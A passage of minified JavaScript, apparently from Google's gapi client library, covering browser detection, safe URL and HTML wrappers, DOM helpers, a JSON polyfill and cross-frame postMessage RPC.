Object.prototype.hasOwnProperty.call(c,a)?c[a]:c[a]=b(a)};var gc,hc,Rb,pc;_.Tb=_.Hb();_.C=_.Ib();_.Ub=_.Db("Edge");_.Vb=_.Ub||_.C;_.Wb=_.Db("Gecko")&&!(-1!=_.Ab.toLowerCase().indexOf("webkit")&&!_.Db("Edge"))&&!(_.Db("Trident")||_.Db("MSIE"))&&!_.Db("Edge");_.Xb=-1!=_.Ab.toLowerCase().indexOf("webkit")&&!_.Db("Edge");_.Yb=_.Xb&&_.Db("Mobile");_.Zb=_.Db("Macintosh");_.$b=_.Db("Windows");_.ac=_.Db("Linux")||_.Db("CrOS");_.bc=_.Db("Android");_.cc=_.Lb();_.dc=_.Db("iPad");_.ec=_.Db("iPod");_.fc=_.Mb(); gc=function(){var a=_.m.document;return a?a.documentMode:void 0};a:{var ic="",jc=function(){var a=_.Ab;if(_.Wb)return/rv:([^\);]+)(\)|;)/.exec(a);if(_.Ub)return/Edge\/([\d\.]+)/.exec(a);if(_.C)return/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/.exec(a);if(_.Xb)return/WebKit\/(\S+)/.exec(a);if(_.Tb)return/(?:Version)[ \/]?(\S+)/.exec(a)}();jc&&(ic=jc?jc[1]:"");if(_.C){var kc=gc();if(null!=kc&&kc>(0,window.parseFloat)(ic)){hc=String(kc);break a}}hc=ic}_.lc=hc;Rb={}; _.mc=function(a){return Sb(a,function(){return 0<=_.xb(_.lc,a)})};_.oc=function(a){return Number(_.nc)>=a};var qc=_.m.document;pc=qc&&_.C?gc()||("CSS1Compat"==qc.compatMode?(0,window.parseInt)(_.lc,10):5):void 0;_.nc=pc; var sc,wc,xc,yc,zc,Ac,Bc,Cc;_.rc=function(a,b){return _.da[a]=b};_.tc=function(a){return Array.prototype.concat.apply([],arguments)};_.uc=function(a){var b=a.length;if(0<b){for(var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};_.vc=function(a,b){return 0==a.lastIndexOf(b,0)};wc=/&/g;xc=/</g;yc=/>/g;zc=/"/g;Ac=/'/g;Bc=/\x00/g;Cc=/[\x00&<>"']/; _.Dc=function(a){if(!Cc.test(a))return a;-1!=a.indexOf("&")&&(a=a.replace(wc,"&"));-1!=a.indexOf("<")&&(a=a.replace(xc,"<"));-1!=a.indexOf(">")&&(a=a.replace(yc,">"));-1!=a.indexOf('"')&&(a=a.replace(zc,"""));-1!=a.indexOf("'")&&(a=a.replace(Ac,"'"));-1!=a.indexOf("\x00")&&(a=a.replace(Bc,"�"));return a};_.Fc=function(a){return String(a).replace(/\-([a-z])/g,function(a,c){return c.toUpperCase()})};_.Gc=function(a,b){for(var c in a)if(a[c]==b)return!0;return!1}; var Hc,Ic;Hc=!_.C||_.oc(9);Ic=!_.Wb&&!_.C||_.C&&_.oc(9)||_.Wb&&_.mc("1.9.1");_.Jc=_.C&&!_.mc("9");_.Kc=_.C||_.Tb||_.Xb;_.Lc=_.C&&!_.oc(9);var Mc;_.Nc=function(){this.uw="";this.bP=Mc};_.Nc.prototype.Ch=!0;_.Nc.prototype.dg=function(){return this.uw};_.Nc.prototype.toString=function(){return"Const{"+this.uw+"}"};_.Oc=function(a){return a instanceof _.Nc&&a.constructor===_.Nc&&a.bP===Mc?a.uw:"type_error:Const"};Mc={};_.Pc=function(a){var b=new _.Nc;b.uw=a;return b};_.Pc(""); var Qc;_.Rc=function(){this.bC="";this.lP=Qc};_.Rc.prototype.Ch=!0;_.Rc.prototype.dg=function(){return this.bC};_.Rc.prototype.GA=!0;_.Rc.prototype.kl=function(){return 1};_.Sc=function(a){if(a instanceof _.Rc&&a.constructor===_.Rc&&a.lP===Qc)return a.bC;_.Ma(a);return"type_error:TrustedResourceUrl"};_.Uc=function(a){return _.Tc(_.Oc(a))};Qc={};_.Tc=function(a){var b=new _.Rc;b.bC=a;return b}; var Yc,Vc,Zc;_.Wc=function(){this.Zl="";this.VO=Vc};_.Wc.prototype.Ch=!0;_.Wc.prototype.dg=function(){return this.Zl};_.Wc.prototype.GA=!0;_.Wc.prototype.kl=function(){return 1};_.Xc=function(a){if(a instanceof _.Wc&&a.constructor===_.Wc&&a.VO===Vc)return a.Zl;_.Ma(a);return"type_error:SafeUrl"};Yc=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i;_.$c=function(a){if(a instanceof _.Wc)return a;a=a.Ch?a.dg():String(a);Yc.test(a)||(a="about:invalid#zClosurez");return Zc(a)}; _.ad=function(a){if(a instanceof _.Wc)return a;a=a.Ch?a.dg():String(a);Yc.test(a)||(a="about:invalid#zClosurez");return Zc(a)};Vc={};Zc=function(a){var b=new _.Wc;b.Zl=a;return b};Zc("about:blank"); _.dd=function(){this.aC="";this.UO=_.bd};_.dd.prototype.Ch=!0;_.bd={};_.dd.prototype.dg=function(){return this.aC};_.dd.prototype.Bi=function(a){this.aC=a;return this};_.ed=(new _.dd).Bi("");_.gd=function(){this.$B="";this.TO=_.fd};_.gd.prototype.Ch=!0;_.fd={};_.id=function(a){a=_.Oc(a);return 0===a.length?hd:(new _.gd).Bi(a)};_.gd.prototype.dg=function(){return this.$B};_.gd.prototype.Bi=function(a){this.$B=a;return this};var hd=(new _.gd).Bi(""); var jd;_.kd=function(){this.Zl="";this.SO=jd;this.qG=null};_.kd.prototype.GA=!0;_.kd.prototype.kl=function(){return this.qG};_.kd.prototype.Ch=!0;_.kd.prototype.dg=function(){return this.Zl};_.ld=function(a){if(a instanceof _.kd&&a.constructor===_.kd&&a.SO===jd)return a.Zl;_.Ma(a);return"type_error:SafeHtml"};jd={};_.nd=function(a,b){return(new _.kd).Bi(a,b)};_.kd.prototype.Bi=function(a,b){this.Zl=a;this.qG=b;return this};_.nd("<!DOCTYPE html>",0);_.od=_.nd("",0);_.pd=_.nd("<br>",0); _.qd=function(a,b){b=b instanceof _.Wc?b:_.ad(b);a.href=_.Xc(b)};var wd,yd,Ad;_.td=function(a){return a?new _.rd(_.sd(a)):sc||(sc=new _.rd)};_.ud=function(a,b){return _.u(b)?a.getElementById(b):b}; _.vd=function(a,b,c,d){a=d||a;b=b&&"*"!=b?String(b).toUpperCase():"";if(a.querySelectorAll&&a.querySelector&&(b||c))return a.querySelectorAll(b+(c?"."+c:""));if(c&&a.getElementsByClassName){a=a.getElementsByClassName(c);if(b){d={};for(var e=0,f=0,h;h=a[f];f++)b==h.nodeName&&(d[e++]=h);d.length=e;return d}return a}a=a.getElementsByTagName(b||"*");if(c){d={};for(f=e=0;h=a[f];f++)b=h.className,"function"==typeof b.split&&_.rb(b.split(/\s+/),c)&&(d[e++]=h);d.length=e;return d}return a}; _.xd=function(a,b){_.Eb(b,function(b,d){b&&b.Ch&&(b=b.dg());"style"==d?a.style.cssText=b:"class"==d?a.className=b:"for"==d?a.htmlFor=b:wd.hasOwnProperty(d)?a.setAttribute(wd[d],b):_.vc(d,"aria-")||_.vc(d,"data-")?a.setAttribute(d,b):a[d]=b})};wd={cellpadding:"cellPadding",cellspacing:"cellSpacing",colspan:"colSpan",frameborder:"frameBorder",height:"height",maxlength:"maxLength",nonce:"nonce",role:"role",rowspan:"rowSpan",type:"type",usemap:"useMap",valign:"vAlign",width:"width"}; _.zd=function(a,b){var c=String(b[0]),d=b[1];if(!Hc&&d&&(d.name||d.type)){c=["<",c];d.name&&c.push(' name="',_.Dc(d.name),'"');if(d.type){c.push(' type="',_.Dc(d.type),'"');var e={};_.Gb(e,d);delete e.type;d=e}c.push(">");c=c.join("")}c=a.createElement(c);d&&(_.u(d)?c.className=d:_.Oa(d)?c.className=d.join(" "):_.xd(c,d));2<b.length&&yd(a,c,b,2);return c}; yd=function(a,b,c,d){function e(c){c&&b.appendChild(_.u(c)?a.createTextNode(c):c)}for(;d<c.length;d++){var f=c[d];!_.Wa(f)||_.Ya(f)&&0<f.nodeType?e(f):(0,_.lb)(Ad(f)?_.uc(f):f,e)}};_.Bd=function(a){return window.document.createElement(String(a))};_.Dd=function(a){if(1!=a.nodeType)return!1;switch(a.tagName){case "APPLET":case "AREA":case "BASE":case "BR":case "COL":case "COMMAND":case "EMBED":case "FRAME":case "HR":case "IMG":case "INPUT":case "IFRAME":case "ISINDEX":case "KEYGEN":case "LINK":case "NOFRAMES":case "NOSCRIPT":case "META":case "OBJECT":case "PARAM":case "SCRIPT":case "SOURCE":case "STYLE":case "TRACK":case "WBR":return!1}return!0}; _.Ed=function(a,b){yd(_.sd(a),a,arguments,1)};_.Fd=function(a){for(var b;b=a.firstChild;)a.removeChild(b)};_.Gd=function(a,b){b.parentNode&&b.parentNode.insertBefore(a,b)};_.Hd=function(a){return a&&a.parentNode?a.parentNode.removeChild(a):null};_.Id=function(a){var b,c=a.parentNode;if(c&&11!=c.nodeType){if(a.removeNode)return a.removeNode(!1);for(;b=a.firstChild;)c.insertBefore(b,a);return _.Hd(a)}}; _.Jd=function(a){return Ic&&void 0!=a.children?a.children:(0,_.mb)(a.childNodes,function(a){return 1==a.nodeType})};_.Kd=function(a){return _.Ya(a)&&1==a.nodeType};_.Ld=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};_.sd=function(a){return 9==a.nodeType?a:a.ownerDocument||a.document}; _.Md=function(a,b){if("textContent"in a)a.textContent=b;else if(3==a.nodeType)a.data=String(b);else if(a.firstChild&&3==a.firstChild.nodeType){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.Fd(a),a.appendChild(_.sd(a).createTextNode(String(b)))};Ad=function(a){if(a&&"number"==typeof a.length){if(_.Ya(a))return"function"==typeof a.item||"string"==typeof a.item;if(_.Xa(a))return"function"==typeof a.item}return!1}; _.rd=function(a){this.Va=a||_.m.document||window.document};_.g=_.rd.prototype;_.g.Ea=_.td;_.g.RC=_.ea(0);_.g.mb=function(){return this.Va};_.g.S=function(a){return _.ud(this.Va,a)};_.g.getElementsByTagName=function(a,b){return(b||this.Va).getElementsByTagName(String(a))};_.g.ma=function(a,b,c){return _.zd(this.Va,arguments)};_.g.createElement=function(a){return this.Va.createElement(String(a))};_.g.createTextNode=function(a){return this.Va.createTextNode(String(a))}; _.g.vb=function(){var a=this.Va;return a.parentWindow||a.defaultView};_.g.appendChild=function(a,b){a.appendChild(b)};_.g.append=_.Ed;_.g.canHaveChildren=_.Dd;_.g.xe=_.Fd;_.g.GI=_.Gd;_.g.removeNode=_.Hd;_.g.qR=_.Id;_.g.xz=_.Jd;_.g.isElement=_.Kd;_.g.contains=_.Ld;_.g.Eh=_.ea(1); /* gapi.loader.OBJECT_CREATE_TEST_OVERRIDE &&*/ _.Nd=window;_.Qd=window.document;_.Rd=_.Nd.location;_.Sd=/\[native code\]/;_.Td=function(a,b,c){return a[b]=a[b]||c};_.D=function(){var a;if((a=Object.create)&&_.Sd.test(a))a=a(null);else{a={};for(var b in a)a[b]=void 0}return a};_.Ud=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};_.Vd=function(a,b){a=a||{};for(var c in a)_.Ud(a,c)&&(b[c]=a[c])};_.Wd=_.Td(_.Nd,"gapi",{}); _.Xd=function(a,b,c){var d=new RegExp("([#].*&|[#])"+b+"=([^&#]*)","g");b=new RegExp("([?#].*&|[?#])"+b+"=([^&#]*)","g");if(a=a&&(d.exec(a)||b.exec(a)))try{c=(0,window.decodeURIComponent)(a[2])}catch(e){}return c};_.Yd=new RegExp(/^/.source+/([a-zA-Z][-+.a-zA-Z0-9]*:)?/.source+/(\/\/[^\/?#]*)?/.source+/([^?#]*)?/.source+/(\?([^#]*))?/.source+/(#((#|[^#])*))?/.source+/$/.source); _.Zd=new RegExp(/(%([^0-9a-fA-F%]|[0-9a-fA-F]([^0-9a-fA-F%])?)?)*/.source+/%($|[^0-9a-fA-F]|[0-9a-fA-F]($|[^0-9a-fA-F]))/.source,"g");_.$d=new RegExp(/\/?\??#?/.source+"("+/[\/?#]/i.source+"|"+/[\uD800-\uDBFF]/i.source+"|"+/%[c-f][0-9a-f](%[89ab][0-9a-f]){0,2}(%[89ab]?)?/i.source+"|"+/%[0-9a-f]?/i.source+")$","i"); _.be=function(a,b,c){_.ae(a,b,c,"add","at")};_.ae=function(a,b,c,d,e){if(a[d+"EventListener"])a[d+"EventListener"](b,c,!1);else if(a[e+"tachEvent"])a[e+"tachEvent"]("on"+b,c)};_.ce=_.Td(_.Nd,"___jsl",_.D());_.Td(_.ce,"I",0);_.Td(_.ce,"hel",10);var ee,fe,ge,he,ie,je,ke;ee=function(a){var b=window.___jsl=window.___jsl||{};b[a]=b[a]||[];return b[a]};fe=function(a){var b=window.___jsl=window.___jsl||{};b.cfg=!a&&b.cfg||{};return b.cfg};ge=function(a){return"object"===typeof a&&/\[native code\]/.test(a.push)}; he=function(a,b,c){if(b&&"object"===typeof b)for(var d in b)!Object.prototype.hasOwnProperty.call(b,d)||c&&"___goc"===d&&"undefined"===typeof b[d]||(a[d]&&b[d]&&"object"===typeof a[d]&&"object"===typeof b[d]&&!ge(a[d])&&!ge(b[d])?he(a[d],b[d]):b[d]&&"object"===typeof b[d]?(a[d]=ge(b[d])?[]:{},he(a[d],b[d])):a[d]=b[d])}; ie=function(a){if(a&&!/^\s+$/.test(a)){for(;0==a.charCodeAt(a.length-1);)a=a.substring(0,a.length-1);try{var b=window.JSON.parse(a)}catch(c){}if("object"===typeof b)return b;try{b=(new Function("return ("+a+"\n)"))()}catch(c){}if("object"===typeof b)return b;try{b=(new Function("return ({"+a+"\n})"))()}catch(c){}return"object"===typeof b?b:{}}}; je=function(a,b){var c={___goc:void 0};a.length&&a[a.length-1]&&Object.hasOwnProperty.call(a[a.length-1],"___goc")&&"undefined"===typeof a[a.length-1].___goc&&(c=a.pop());he(c,b);a.push(c)}; ke=function(a){fe(!0);var b=window.___gcfg,c=ee("cu"),d=window.___gu;b&&b!==d&&(je(c,b),window.___gu=b);b=ee("cu");var e=window.document.scripts||window.document.getElementsByTagName("script")||[];d=[];var f=[];f.push.apply(f,ee("us"));for(var h=0;h<e.length;++h)for(var k=e[h],l=0;l<f.length;++l)k.src&&0==k.src.indexOf(f[l])&&d.push(k);0==d.length&&0<e.length&&e[e.length-1].src&&d.push(e[e.length-1]);for(e=0;e<d.length;++e)d[e].getAttribute("gapi_processed")||(d[e].setAttribute("gapi_processed",!0), (f=d[e])?(h=f.nodeType,f=3==h||4==h?f.nodeValue:f.textContent||f.innerText||f.innerHTML||""):f=void 0,(f=ie(f))&&b.push(f));a&&je(c,a);d=ee("cd");a=0;for(b=d.length;a<b;++a)he(fe(),d[a],!0);d=ee("ci");a=0;for(b=d.length;a<b;++a)he(fe(),d[a],!0);a=0;for(b=c.length;a<b;++a)he(fe(),c[a],!0)};_.H=function(a,b){var c=fe();if(!a)return c;a=a.split("/");for(var d=0,e=a.length;c&&"object"===typeof c&&d<e;++d)c=c[a[d]];return d===a.length&&void 0!==c?c:b}; _.le=function(a,b){var c;if("string"===typeof a){var d=c={};a=a.split("/");for(var e=0,f=a.length;e<f-1;++e){var h={};d=d[a[e]]=h}d[a[e]]=b}else c=a;ke(c)}; var me=function(){var a=window.__GOOGLEAPIS;a&&(a.googleapis&&!a["googleapis.config"]&&(a["googleapis.config"]=a.googleapis),_.Td(_.ce,"ci",[]).push(a),window.__GOOGLEAPIS=void 0)};me&&me();ke();_.w("gapi.config.get",_.H);_.w("gapi.config.update",_.le); _.ne=function(a,b){var c=b||window.document;if(c.getElementsByClassName)a=c.getElementsByClassName(a)[0];else{c=window.document;var d=b||c;a=d.querySelectorAll&&d.querySelector&&a?d.querySelector(a?"."+a:""):_.vd(c,"*",a,b)[0]||null}return a||null}; var xe,ye,ze,Ae,Be,Ce,De,Ee,Fe,Ge,He,Ie,Je,Ke,Le,Me,Ne,Oe,Pe,Qe,Re,Se,Te,Ue,Ve,We,Xe,Ze,$e,af,bf,ef,ff;ze=void 0;Ae=function(a){try{return _.m.JSON.parse.call(_.m.JSON,a)}catch(b){return!1}};Be=function(a){return Object.prototype.toString.call(a)};Ce=Be(0);De=Be(new Date(0));Ee=Be(!0);Fe=Be("");Ge=Be({});He=Be([]); Ie=function(a,b){if(b)for(var c=0,d=b.length;c<d;++c)if(a===b[c])throw new TypeError("Converting circular structure to JSON");d=typeof a;if("undefined"!==d){c=Array.prototype.slice.call(b||[],0);c[c.length]=a;b=[];var e=Be(a);if(null!=a&&"function"===typeof a.toJSON&&(Object.prototype.hasOwnProperty.call(a,"toJSON")||(e!==He||a.constructor!==Array&&a.constructor!==Object)&&(e!==Ge||a.constructor!==Array&&a.constructor!==Object)&&e!==Fe&&e!==Ce&&e!==Ee&&e!==De))return Ie(a.toJSON.call(a),c);if(null== a)b[b.length]="null";else if(e===Ce)a=Number(a),(0,window.isNaN)(a)||(0,window.isNaN)(a-a)?a="null":-0===a&&0>1/a&&(a="-0"),b[b.length]=String(a);else if(e===Ee)b[b.length]=String(!!Number(a));else{if(e===De)return Ie(a.toISOString.call(a),c);if(e===He&&Be(a.length)===Ce){b[b.length]="[";var f=0;for(d=Number(a.length)>>0;f<d;++f)f&&(b[b.length]=","),b[b.length]=Ie(a[f],c)||"null";b[b.length]="]"}else if(e==Fe&&Be(a.length)===Ce){b[b.length]='"';f=0;for(c=Number(a.length)>>0;f<c;++f)d=String.prototype.charAt.call(a, f),e=String.prototype.charCodeAt.call(a,f),b[b.length]="\b"===d?"\\b":"\f"===d?"\\f":"\n"===d?"\\n":"\r"===d?"\\r":"\t"===d?"\\t":"\\"===d||'"'===d?"\\"+d:31>=e?"\\u"+(e+65536).toString(16).substr(1):32<=e&&65535>=e?d:"\ufffd";b[b.length]='"'}else if("object"===d){b[b.length]="{";d=0;for(f in a)Object.prototype.hasOwnProperty.call(a,f)&&(e=Ie(a[f],c),void 0!==e&&(d++&&(b[b.length]=","),b[b.length]=Ie(f),b[b.length]=":",b[b.length]=e));b[b.length]="}"}else return}return b.join("")}};Je=/[\0-\x07\x0b\x0e-\x1f]/; Ke=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*[\0-\x1f]/;Le=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*\\[^\\\/"bfnrtu]/;Me=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*\\u([0-9a-fA-F]{0,3}[^0-9a-fA-F])/;Ne=/"([^\0-\x1f\\"]|\\[\\\/"bfnrt]|\\u[0-9a-fA-F]{4})*"/g;Oe=/-?(0|[1-9][0-9]*)(\.[0-9]+)?([eE][-+]?[0-9]+)?/g;Pe=/[ \t\n\r]+/g;Qe=/[^"]:/;Re=/""/g;Se=/true|false|null/g;Te=/00/;Ue=/[\{]([^0\}]|0[^:])/;Ve=/(^|\[)[,:]|[,:](\]|\}|[,:]|$)/;We=/[^\[,:][\[\{]/;Xe=/^(\{|\}|\[|\]|,|:|0)+/;Ze=/\u2028/g; $e=/\u2029/g; af=function(a){a=String(a);if(Je.test(a)||Ke.test(a)||Le.test(a)||Me.test(a))return!1;var b=a.replace(Ne,'""');b=b.replace(Oe,"0");b=b.replace(Pe,"");if(Qe.test(b))return!1;b=b.replace(Re,"0");b=b.replace(Se,"0");if(Te.test(b)||Ue.test(b)||Ve.test(b)||We.test(b)||!b||(b=b.replace(Xe,"")))return!1;a=a.replace(Ze,"\\u2028").replace($e,"\\u2029");b=void 0;try{b=ze?[Ae(a)]:eval("(function (var_args) {\n return Array.prototype.slice.call(arguments, 0);\n})(\n"+a+"\n)")}catch(c){return!1}return b&&1=== b.length?b[0]:!1};bf=function(){var a=((_.m.document||{}).scripts||[]).length;if((void 0===xe||void 0===ze||ye!==a)&&-1!==ye){xe=ze=!1;ye=-1;try{try{ze=!!_.m.JSON&&'{"a":[3,true,"1970-01-01T00:00:00.000Z"]}'===_.m.JSON.stringify.call(_.m.JSON,{a:[3,!0,new Date(0)],c:function(){}})&&!0===Ae("true")&&3===Ae('[{"a":3}]')[0].a}catch(b){}xe=ze&&!Ae("[00]")&&!Ae('"\u0007"')&&!Ae('"\\0"')&&!Ae('"\\v"')}finally{ye=a}}};_.cf=function(a){if(-1===ye)return!1;bf();return(xe?Ae:af)(a)}; _.df=function(a){if(-1!==ye)return bf(),ze?_.m.JSON.stringify.call(_.m.JSON,a):Ie(a)};ef=!Date.prototype.toISOString||"function"!==typeof Date.prototype.toISOString||"1970-01-01T00:00:00.000Z"!==(new Date(0)).toISOString(); ff=function(){var a=Date.prototype.getUTCFullYear.call(this);return[0>a?"-"+String(1E6-a).substr(1):9999>=a?String(1E4+a).substr(1):"+"+String(1E6+a).substr(1),"-",String(101+Date.prototype.getUTCMonth.call(this)).substr(1),"-",String(100+Date.prototype.getUTCDate.call(this)).substr(1),"T",String(100+Date.prototype.getUTCHours.call(this)).substr(1),":",String(100+Date.prototype.getUTCMinutes.call(this)).substr(1),":",String(100+Date.prototype.getUTCSeconds.call(this)).substr(1),".",String(1E3+Date.prototype.getUTCMilliseconds.call(this)).substr(1), "Z"].join("")};Date.prototype.toISOString=ef?ff:Date.prototype.toISOString; _.w("gadgets.json.stringify",_.df);_.w("gadgets.json.parse",_.cf); _.Xj=window.gapi&&window.gapi.util||{}; _.Zj=function(a){if(!a)return"";a=a.split("#")[0].split("?")[0];a=a.toLowerCase();0==a.indexOf("//")&&(a=window.location.protocol+a);/^[\w\-]*:\/\//.test(a)||(a=window.location.href);var b=a.substring(a.indexOf("://")+3),c=b.indexOf("/");-1!=c&&(b=b.substring(0,c));a=a.substring(0,a.indexOf("://"));if("http"!==a&&"https"!==a&&"chrome-extension"!==a&&"file"!==a&&"android-app"!==a&&"chrome-search"!==a&&"app"!==a)throw Error("L`"+a);c="";var d=b.indexOf(":");if(-1!=d){var e=b.substring(d+1);b=b.substring(0, d);if("http"===a&&"80"!==e||"https"===a&&"443"!==e)c=":"+e}return a+"://"+b+c}; _.Xj.Qa=function(a){return _.Zj(a)}; _.qe=window.console;_.ue=function(a){_.qe&&_.qe.log&&_.qe.log(a)};_.ve=function(){}; _.I=_.I||{}; _.I=_.I||{}; (function(){var a=null;_.I.xc=function(b){var c="undefined"===typeof b;if(null!==a&&c)return a;var d={};b=b||window.location.href;var e=b.indexOf("?"),f=b.indexOf("#");b=(-1===f?b.substr(e+1):[b.substr(e+1,f-e-1),"&",b.substr(f+1)].join("")).split("&");e=window.decodeURIComponent?window.decodeURIComponent:window.unescape;f=0;for(var h=b.length;f<h;++f){var k=b[f].indexOf("=");if(-1!==k){var l=b[f].substring(0,k);k=b[f].substring(k+1);k=k.replace(/\+/g," ");try{d[l]=e(k)}catch(n){}}}c&&(a=d);return d}; _.I.xc()})(); _.w("gadgets.util.getUrlParameters",_.I.xc); _.Xd(_.Nd.location.href,"rpctoken")&&_.be(_.Qd,"unload",function(){}); var dm=function(){this.$r={tK:Xl?"../"+Xl:null,NQ:Yl,GH:Zl,C9:$l,eu:am,l$:bm};this.Ee=_.Nd;this.gK=this.JQ;this.tR=/MSIE\s*[0-8](\D|$)/.test(window.navigator.userAgent);if(this.$r.tK){this.Ee=this.$r.GH(this.Ee,this.$r.tK);var a=this.Ee.document,b=a.createElement("script");b.setAttribute("type","text/javascript");b.text="window.doPostMsg=function(w,s,o) {window.setTimeout(function(){w.postMessage(s,o);},0);};";a.body.appendChild(b);this.gK=this.Ee.doPostMsg}this.kD={};this.FD={};a=(0,_.A)(this.hA, this);_.be(this.Ee,"message",a);_.Td(_.ce,"RPMQ",[]).push(a);this.Ee!=this.Ee.parent&&cm(this,this.Ee.parent,'{"h":"'+(0,window.escape)(this.Ee.name)+'"}',"*")},em=function(a){var b=null;0===a.indexOf('{"h":"')&&a.indexOf('"}')===a.length-2&&(b=(0,window.unescape)(a.substring(6,a.length-2)));return b},fm=function(a){if(!/^\s*{/.test(a))return!1;a=_.cf(a);return null!==a&&"object"===typeof a&&!!a.g}; dm.prototype.hA=function(a){var b=String(a.data);(0,_.ve)("gapi.rpc.receive("+$l+"): "+(!b||512>=b.length?b:b.substr(0,512)+"... ("+b.length+" bytes)"));var c=0!==b.indexOf("!_");c||(b=b.substring(2));var d=fm(b);if(!c&&!d){if(!d&&(c=em(b))){if(this.kD[c])this.kD[c]();else this.FD[c]=1;return}var e=a.origin,f=this.$r.NQ;this.tR?_.Nd.setTimeout(function(){f(b,e)},0):f(b,e)}};dm.prototype.Dc=function(a,b){".."===a||this.FD[a]?(b(),delete this.FD[a]):this.kD[a]=b}; var cm=function(a,b,c,d){var e=fm(c)?"":"!_";(0,_.ve)("gapi.rpc.send("+$l+"): "+(!c||512>=c.length?c:c.substr(0,512)+"... ("+c.length+" bytes)"));a.gK(b,e+c,d)};dm.prototype.JQ=function(a,b,c){a.postMessage(b,c)};dm.prototype.send=function(a,b,c){(a=this.$r.GH(this.Ee,a))&&!a.closed&&cm(this,a,b,c)}; var gm,hm,im,jm,km,lm,mm,nm,Xl,$l,om,pm,qm,rm,Zl,am,sm,tm,ym,zm,Bm,bm,Dm,Cm,um,vm,Em,Yl,Fm,Gm;gm=0;hm=[];im={};jm={};km=_.I.xc;lm=km();mm=lm.rpctoken;nm=lm.parent||_.Qd.referrer;Xl=lm.rly;$l=Xl||(_.Nd!==_.Nd.top||_.Nd.opener)&&_.Nd.name||"..";om=null;pm={};qm=function(){};rm={send:qm,Dc:qm}; Zl=function(a,b){"/"==b.charAt(0)&&(b=b.substring(1),a=_.Nd.top);for(b=b.split("/");b.length;){var c=b.shift();"{"==c.charAt(0)&&"}"==c.charAt(c.length-1)&&(c=c.substring(1,c.length-1));if(".."===c)a=a==a.parent?a.opener:a.parent;else if(".."!==c&&a.frames[c]){if(a=a.frames[c],!("postMessage"in a))throw"Not a window";}else return null}return a};am=function(a){return(a=im[a])&&a.zk}; sm=function(a){if(a.f in{})return!1;var b=a.t,c=im[a.r];a=a.origin;return c&&(c.zk===b||!c.zk&&!b)&&(a===c.origin||"*"===c.origin)};tm=function(a){var b=a.id.split("/"),c=b[b.length-1],d=a.origin;return function(a){var b=a.origin;return a.f==c&&(d==b||"*"==d)}};_.wm=function(a,b,c){a=um(a);jm[a.name]={Lg:b,Nq:a.Nq,zo:c||sm};vm()};_.xm=function(a){delete jm[um(a).name]};ym={};zm=function(a,b){(a=ym["_"+a])&&a[1](this)&&a[0].call(this,b)}; Bm=function(a){var b=a.c;if(!b)return qm;var c=a.r,d=a.g?"legacy__":"";return function(){var a=[].slice.call(arguments,0);a.unshift(c,d+"__cb",null,b);_.Am.apply(null,a)}};bm=function(a){om=a};Dm=function(a){pm[a]||(pm[a]=_.Nd.setTimeout(function(){pm[a]=!1;Cm(a)},0))};Cm=function(a){var b=im[a];if(b&&b.ready){var c=b.dC;for(b.dC=[];c.length;)rm.send(a,_.df(c.shift()),b.origin)}};um=function(a){return 0===a.indexOf("legacy__")?{name:a.substring(8),Nq:!0}:{name:a,Nq:!1}}; vm=function(){for(var a=_.H("rpc/residenceSec")||60,b=(new Date).getTime()/1E3,c=0,d;d=hm[c];++c){var e=d.hm;if(!e||0<a&&b-d.timestamp>a)hm.splice(c,1),--c;else{var f=e.s,h=jm[f]||jm["*"];if(h)if(hm.splice(c,1),--c,e.origin=d.origin,d=Bm(e),e.callback=d,h.zo(e)){if("__cb"!==f&&!!h.Nq!=!!e.g)break;e=h.Lg.apply(e,e.a);void 0!==e&&d(e)}else(0,_.ve)("gapi.rpc.rejected("+$l+"): "+f)}}};Em=function(a,b,c){hm.push({hm:a,origin:b,timestamp:(new Date).getTime()/1E3});c||vm()}; Yl=function(a,b){a=_.cf(a);Em(a,b,!1)};Fm=function(a){for(;a.length;)Em(a.shift(),this.origin,!0);vm()};Gm=function(a){var b=!1;a=a.split("|");var c=a[0];0<=c.indexOf("/")&&(b=!0);return{id:c,origin:a[1]||"*",QA:b}}; _.Hm=function(a,b,c,d){var e=Gm(a);d&&(_.Nd.frames[e.id]=_.Nd.frames[e.id]||d);a=e.id;if(!im.hasOwnProperty(a)){c=c||null;d=e.origin;if(".."===a)d=_.Xj.Qa(nm),c=c||mm;else if(!e.QA){var f=_.Qd.getElementById(a);f&&(f=f.src,d=_.Xj.Qa(f),c=c||km(f).rpctoken)}"*"===e.origin&&d||(d=e.origin);im[a]={zk:c,dC:[],origin:d,xY:b,mK:function(){var b=a;im[b].ready=1;Cm(b)}};rm.Dc(a,im[a].mK)}return im[a].mK}; _.Am=function(a,b,c,d){a=a||"..";_.Hm(a);a=a.split("|",1)[0];var e=b,f=[].slice.call(arguments,3),h=c,k=$l,l=mm,n=im[a],p=k,q=Gm(a);if(n&&".."!==a){if(q.QA){if(!(l=im[a].xY)){l=om?om.substring(1).split("/"):[$l];p=l.length-1;for(var t=_.Nd.parent;t!==_.Nd.top;){var x=t.parent;if(!p--){for(var v=null,y=x.frames.length,F=0;F<y;++F)x.frames[F]==t&&(v=F);l.unshift("{"+v+"}")}t=x}l="/"+l.join("/")}p=l}else p=k="..";l=n.zk}h&&q?(n=sm,q.QA&&(n=tm(q)),ym["_"+ ++gm]=[h,n],h=gm):h=null;f={s:e,f:k,r:p,t:l,c:h, a:f};e=um(e);f.s=e.name;f.g=e.Nq;im[a].dC.push(f);Dm(a)};if("function"===typeof _.Nd.postMessage||"object"===typeof _.Nd.postMessage)rm=new dm,_.wm("__cb",zm,function(){return!0}),_.wm("_processBatch",Fm,function(){return!0}),_.Hm(".."); _.Of=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=c.slice();b.push.apply(b,arguments);return a.apply(this,b)}};_.Pf=function(a,b){a:{for(var c=a.length,d=_.u(a)?a.split(""):a,e=0;e<c;e++)if(e in 